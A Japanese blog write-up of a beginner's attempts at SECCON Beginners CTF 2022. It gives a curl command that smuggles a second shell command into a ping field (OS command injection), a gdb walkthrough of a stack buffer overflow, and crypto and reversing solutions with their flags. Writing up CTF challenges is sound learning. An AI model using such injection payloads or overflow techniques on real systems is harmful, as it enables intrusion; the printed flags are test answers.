更新履歴
- 2022/06/19: reversing/Quiz, pwnable/BeginnerBofの解法を追加しました。これでBeginner向け問題はコンプリートです。
はじめに
SECCON Beginner CTF 2022とは
- 主にCTF初心者~中級者が対象としたCTF
- 開催期間: 2022/6/4 14:00 ~ 2022/6/5 14:00 JST
- チームor個人で参加できる (私は個人参加)
https://www.seccon.jp/2022/beginners/about-seccon-beginners.html
私のレベル
- これまでにCTFの問題を見たことが無く今回がCTF初参加
- セキュリティに関する知識は書籍,Web,資格試験などで勉強中
- 机上の知識のみで、ペネトレーションテストなど実際に試した経験はない
CTFを終えて
成績
-
105点 (891チーム中552位)
解けたのは2問だけでしたが解けてよかったです
感想 (課題)
-
机上での理屈はわかっていても実現方法、ツールとその使いこなしがわかっていませんでした
-
問題とともに提供されるソースコードなどにヒントが散りばめられていて情報収集がとても重要でした
-
だけど面白かった!解けなかった問題にもトライしてCTFを続けてみたいと思います
問題と解法
SECCON beginners CTF 2022開催期間中に解けた問題について、解いた方法を書きます。問題公開期間中に他のBeginner向け問題にもトライしてUpdateしたいと思っています。
環境
OS: Windows11
WSL2 (Ubuntu): Ubuntu 20.04.4 LTS
curl 7.68.0
Python 3.8.10
Web
Util (Beginner)
-
util.tar.gz内のDockerファイルを見るとどうやら
/
(ルート)ディレクトリ直下にflag_*.txt
というflagファイルがありそうDockerfileRUN echo "ctf4b{xxxxxxxxxxxxxxxxxx}" > /flag_$(cat /dev/urandom | tr -dc "a-zA-Z0-9" | fold -w 16 | head -n 1).txt
-
utils.tar.gz内のmain.goを見るとpingコマンドの引数にParam.Addressがチェック無しで渡されているので、OSコマンドインジェクションでflagファイルの中身を取り出せばよさそう!!
main.gocommnd := "ping -c 1 -W 1 " + param.Address + " 1>&2"
-
しかし、util.tar.gz内のpages/index.htmlを見ると、Webページ上のIPアドレス入力フォームには入力値チェックがあるため、Webページ上からインジェクションすることができない。
pages/index.htmlfunction send() { var address = document.getElementById("addressTextField").value; if (/^(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$/.test(address)) { var json = {}; json.address = address var xhr = new XMLHttpRequest(); xhr.open("POST", "/util/ping"); xhr.setRequestHeader("Content-Type", "application/json"); xhr.send(JSON.stringify(json)); : } else { document.getElementById("notify").innerHTML = "<p>Invalid IP address</p>"; }
-
ということでcURLコマンドなどを使ってHTTPリクエストを送信してみる。今回は以下のcURLコマンドを発行して
cat /flag_*.txt
の結果を取得するcurl -s -X POST https://util.quals.beginners.seccon.jp/util/ping -H "Content-Type:application/json" -d "{\"address\": \"127.0.0.1; cat /flag_*.txt\"}" | sed -e s/'\\n'/'\n'/g
無事フラグが取得できました
{"result":"PING 127.0.0.1 (127.0.0.1): 56 data bytes 64 bytes from 127.0.0.1: seq=0 ttl=42 time=0.117 ms --- 127.0.0.1 ping statistics --- 1 packets transmitted, 1 packets received, 0% packet loss round-trip min/avg/max = 0.117/0.117/0.117 ms ctf4b{al1_0vers_4re_i1l} <=== これ!!
misc
pwnable
BeginnersBof (Beginner) <2022/06/19追記>
-
残念ながら自力で解くことができませんでした…
-
勉強させていただいた資料
-
作者さんのWriteup
https://feneshi.co/ctf4b2022writeup/#BeginnersBof
バイナリからの関数先頭アドレスの取り方、バイトコードの送り方などものすごく勉強になりました。ただオーバーフローさせるバッファ先頭アドレスからリターンアドレスが格納されているアドレスまでの距離がなぜ
0x28
なのかがわからずジタバタ^^; -
むさこーどさんのZennスクラップ
https://zenn.dev/musacode/scraps/7fc68fd44283b8#comment-13d0c5e65b5f04
オーバーフローさせるバッファの先頭アドレスからリターンアドレス格納アドレスまでの距離が
0x28
であることが理解できました。記事を教えてくださった むさこーどさん ありがとうございます!
-
-
自分なりに理解した内容を以下に記載します。ビギナーレベルの自分がわかるように少々細かめに(くどめに?w)書いてみます。
-
-
本問題では
chall
というバイナリとそのソースコードsrc.c
が提供されている。chall
を実行すると名前の長さ・名前が尋ねられ、それぞれ入力するとHello <名前>
と出力される -
src.c
を確認すると-
win()
関数にフラグ情報を標準出力へ表示する処理があるので何とかしてwin()
関数を実行できれば勝ち !!! - しかし
main()
関数からwin()
関数は呼ばれていない -
main()
関数を見るとfgets()
で標準入力から長さlen
のデータを取得しbuf[]
に格納している。buf[]
は要素数0x10
で領域確保されているが、fgets()
で取得するデータ長len
を制限する処理がない。つまりbuf[]
には、定義されているデータ長0x10
を超える長さのデータを代入することができる(バッファオーバーフローを起こすことができる)。 -
buf[]
に対するバッファオーバーフローを利用してmain()
関数のリターンアドレスをwin()
関数の先頭アドレスに上書きすれば、main()
関数終了時にwin()
関数が実行され、フラグ情報を表示させることができる。
src.c#define BUFSIZE 0x10 void win() { char buf[0x100]; int fd = open("flag.txt", O_RDONLY); if (fd == -1) err(1, "Flag file not found...\n"); write(1, buf, read(fd, buf, sizeof(buf))); close(fd); } int main() { int len = 0; char buf[BUFSIZE] = {0}; puts("How long is your name?"); scanf("%d", &len); char c = getc(stdin); if (c != '\n') ungetc(c, stdin); puts("What's your name?"); fgets(buf, len, stdin); printf("Hello %s", buf); }
-
-
win()
関数の先頭アドレスを確認する (0x00000000004011e6
かな)$ gdb -q chall Reading symbols from chall... (No debugging symbols found in chall) (gdb) disas win Dump of assembler code for function win: 0x00000000004011e6 <+0>: push %rbp 0x00000000004011e7 <+1>: mov %rsp,%rbp :
buf[]
をバッファオーバーフローさせてmain()
関数のリターンアドレスを0x00000000004011e6
に書き変えればフラグを入手できそうだが、リターンアドレスってどこに格納されてるんだろうか????? -
リターンアドレス格納場所を知るために、まずスタックについて調べてみた
-
参考にしたサイト
https://www.ipa.go.jp/security/awareness/vendor/programmingv1/b06_01.html
-
main()
が呼ばれると、以下のようにアドレスの大きい方から小さい方に向かってスタックが積まれていく<<スタック>> (アドレス小さい) : :
ローカル変数
:ベースポインタのレジスタ退避 main()
関数のリターンアドレス(アドレス大きい)
-
-
main()
関数に入った直後のレジスタ情報を確認しスタックがどうなっているかを調べる-
gdbを起動する
-
main()
関数でbreakをはる -
プログラム実行 => breakpointで止まる
$ gdb -q chall Reading symbols from chall... (No debugging symbols found in chall) (gdb) break main Breakpoint 1 at 0x401267 (gdb) run Starting program: /home/tooru/SECCON_Beginners_CTF2022/chall Breakpoint 1, 0x0000000000401267 in main ()
-
main()
関数をdisasembleしてレジスタの動きを確認する(gdb) disas main Dump of assembler code for function main: 0x0000000000401263 <+0>: push %rbp 0x0000000000401264 <+1>: mov %rsp,%rbp => 0x0000000000401267 <+4>: sub $0x20,%rsp 0x000000000040126b <+8>: movl $0x0,-0x8(%rbp) 0x0000000000401272 <+15>: movq $0x0,-0x20(%rbp) 0x000000000040127a <+23>: movq $0x0,-0x18(%rbp)
- rbp(ベースポインタ)がプッシュされる(ベースポインタのレジスタ退避)
- rsp(スタックポインタ:現在のスタック先頭)がベースポインタとしてrbpにコピーされる
- rspを0x20引いた情報で更新される(ローカル変数領域が0x20で確保)※これが実行される前(breakpoint)で止まっている状態
-
レジスタ情報を確認してみる
(gdb) info register : rbp 0x7fffffffe090 0x7fffffffe090 rsp 0x7fffffffe090 0x7fffffffe090
rbpが
0x7fffffffe090
を指しているということは、スタックは以下のようになっていると思われる-
0x7fffffffe070
から0x20
byte分がローカル変数領域 -
0x7fffffffe090
がベースポインタで、古いベースポインタ(おそらく8
byte分)が退避されている 0x7fffffffe098
にリターンアドレス(おそらく8
byte分)が格納されている
あとは
buf[]
の先頭アドレスがわかれば、buf[]
に入力するデータの長さとリターンアドレスの相対位置が確定できそう -
-
-
buf[]
にAAAAAAAAAAAAAAA
を入力したときのスタックの状態を確認することでbuf[]
先頭アドレスを調べる-
main()
関数のprintf()
あたりのアドレスを確認し、printf()
直後のアドレスでbreakをはる(gdb) disas main Dump of assembler code for function main: 0x0000000000401263 <+0>: push %rbp : 0x000000000040130a <+167>: callq 0x401050 <printf@plt> 0x000000000040130f <+172>: mov $0x0,%eax : (gdb) b *0x000000000040130f Breakpoint 1 at 0x40130f
-
プログラム実行
-
名前の長さは
16
を指定し、名前はAAAAAAAAAAAAAAA
(Aが15個)を指定する(gdb) r Starting program: /home/tooru/SECCON_Beginners_CTF2022/chall How long is your name? 16 What's your name? AAAAAAAAAAAAAAA Hello AAAAAAAAAAAAAAA Breakpoint 1, 0x000000000040130f in main ()
-
ローカル変数領域の先頭からスタックの中身を確認する
(gdb) x/48bx 0x7fffffffe070 0x7fffffffe070: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x7fffffffe078: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x00 0x7fffffffe080: 0x80 0xe1 0xff 0xff 0xff 0x7f 0x00 0x00 0x7fffffffe088: 0x10 0x00 0x00 0x00 0x00 0x00 0x00 0x0a 0x7fffffffe090: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x7fffffffe098: 0x83 0x10 0xdf 0xf7 0xff 0x7f 0x00 0x00
buf[]
に入れたAAAAAAAAAAAAAAA
(A
(0x41)が15個)は0x7fffffffe070
から入っているので、buf[]
の先頭アドレスはローカル変数領域の先頭である0x7fffffffe070
でよさそう。
-
-
まとめると
-
実行させたい
win()
関数のアドレスは0x00000000004011e6
-
バッファオーバーフローさせたい
buf[]
の先頭アドレスは0x7fffffffe070
-
上書きしたい
main()
関数のリターンアドレスは0x7fffffffe098
から8byte -
つまり
buf[]
に対して「
0x28
byte分の適当な1byte文字+win()
関数の先頭アドレス0x00000000004011e6
」を与えれば、
main()
関数終了時にwin()
関数が実行されフラグ情報が入手できそう
というのが現時点での私の理解です。
もっとスマートな考え方がありそうな気がしますし、前述した記事ではかなりスマートな確認方法が紹介されています。まだまだ勉強が必要ですね…
-
reversing
Quiz (Beginner) <2022/06/19追記>
-
quiz
というバイナリが1つだけ提供されている -
実行するとクイズが出題されたので(何度も間違いながらw)答えてみると最後に「フラグは何でしょうか?」と聞かれる…
-
きっとバイナリ内で入力した情報を正解フラグ情報を比較してると思われる。
-
ところでクイズのQ3に出てきた
strings
コマンドについて調べてみると、バイナリ内の文字列も抽出できるもよう。もしや比較に使っているフラグ情報が取れるかも!ということで早速使ってみるとフラグ情報が取れました$ strings ./quiz | grep ctf4b ctf4b{w0w_d1d_y0u_ca7ch_7h3_fl4g_1n_0n3_sh07?}
crypto
CoughingFox (Beginner)
-
フラグが暗号化スクリプトproblem.pyによって暗号化され、output.txtに出力されている。
problem.pyfrom random import shuffle flag = b"ctf4b{XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX}" cipher = [] for i in range(len(flag)): f = flag[i] c = (f + i)**2 + i cipher.append(c) shuffle(cipher) print("cipher =", cipher)
output.txtcipher = [12147, 20481, 7073, 10408, 26615, 19066, 19363, 10852, 11705, 17445, 3028, 10640, 10623, 13243, 5789, 17436, 12348, 10818, 15891, 2818, 13690, 11671, 6410, 16649, 15905, 22240, 7096, 9801, 6090, 9624, 16660, 18531, 22533, 24381, 14909, 17705, 16389, 21346, 19626, 29977, 23452, 14895, 17452, 17733, 22235, 24687, 15649, 21941, 11472]
-
それを復号すればフラグが取得できる
以下のように復号するpythonスクリプトを作成し実行する
import struct cipher = [12147, 20481, 7073, 10408, 26615, 19066, 19363, 10852, 11705, 17445, 3028, 10640, 10623, 13243, 5789, 17436, 12348, 10818, 15891, 2818, 13690, 11671, 6410, 16649, 15905, 22240, 7096, 9801, 6090, 9624, 16660, 18531, 22533, 24381, 14909, 17705, 16389, 21346, 19626, 29977, 23452, 14895, 17452, 17733, 22235, 24687, 15649, 21941, 11472] # flag rule: ctf4b{[\x20-\x7e]+} # 'c', 't', 'f', '4', 'b', '{', '}' も[\x20-\x7e]で表現できる flag = b"" # cipher[]の要素数はflagの文字数と同じ。 # cipher[]の要素数分ループ処理することでflagの1文字目から順にあぶり出す。 # flagルールで定義される文字パターン[\x20-\x7e]に対して順番に暗号化し、 # cipher[]に含まれるものと一致した場合はそれがflagの文字なのでflag文字列に追加する # ※この暗号化アルゴリズムは[\x20-\x7e]を暗号化しても衝突は起こらないものとする for i in range(len(cipher)): for char_code in list(range(0x20,0x7e,1)): c = (char_code + i)**2 + i if c in cipher: flag += struct.pack("B",char_code) break print("flag =", flag)
実行結果
flag = b'ctf4b{Hey,Fox?YouCanNotTearThatHouseDown,CanYou?}'
welcome
- Discordの投稿の中にフラグがありました💡